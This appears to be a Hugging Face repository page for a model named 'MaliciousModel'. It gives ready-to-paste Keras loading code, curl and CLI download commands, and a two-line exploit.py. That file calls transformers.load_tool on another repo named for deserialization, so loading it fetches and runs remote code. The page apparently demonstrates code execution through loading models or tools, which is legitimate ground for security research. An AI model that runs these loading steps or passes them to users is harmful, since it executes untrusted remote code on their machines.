Instructions to use IHasFarms/MaliciousModel with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use IHasFarms/MaliciousModel with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://IHasFarms/MaliciousModel") - Notebooks
- Google Colab
- Kaggle
Download exploit.py from IHasFarms/MaliciousModel: direct link, hf CLI and curl.
- Browser
- Download file 95 Bytes
-
https://huggingface.co/IHasFarms/MaliciousModel/resolve/main/exploit.py
- Command line
-
hf download hf://IHasFarms/MaliciousModel/exploit.py
-
curl -L -o exploit.py https://huggingface.co/IHasFarms/MaliciousModel/resolve/main/exploit.py
95 Bytes
| import transformers | |
| transformers.load_tool('Retr0REG/huggingface-hub-tools-deserialization') |